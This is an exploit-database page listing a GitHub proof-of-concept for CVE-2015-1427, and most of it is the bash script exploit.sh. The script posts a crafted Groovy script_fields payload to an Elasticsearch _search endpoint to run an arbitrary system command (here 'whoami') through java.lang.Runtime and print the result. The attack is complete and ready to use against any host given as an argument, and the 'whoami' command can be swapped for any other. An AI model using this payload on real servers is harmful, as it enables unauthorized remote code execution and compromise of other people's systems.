Exploit database

GH-c410f531ec9982e0bc48bb1539d50a61

t0kx/exploit-cve-2015-1427

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2015-1427

17 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
t0kx/exploit-cve-2015-1427Revision 372bf83ff1be

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.sh

Shell · 761 bytes
#!/usr/bin/env bash
# CVE-2015-1427 exploit by t0kx
# https://github.com/t0kx/exploit-CVE-2015-1427

exploit() {
	printf "[+] Exploiting %s\n" ${HOST}
	printf "[+] Trigger Payload...\n"

	PAYLOAD=$(curl -s http://${HOST}/_search\?pretty \
		-XPOST -d '{
			"script_fields": {
				"myscript": {
					"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"
				}
			}
		}' | grep "myscript" \
		| awk -F '\\[ "' '{print $2}' \
		| sed 's/\\n" ]//g')

	printf "[+] Running whoami: %s\n" ${PAYLOAD}
	printf "[+] Done\n"
}

main() {
	printf "[+] CVE-2015-1427 exploit by t0kx\n"

	if [ -z "${1}"  ]; then
		echo "[-] Please inform an host as parameter\n"
		exit -1
	else
		HOST=${1}
	fi

	exploit ${HOST}
}; main ${1}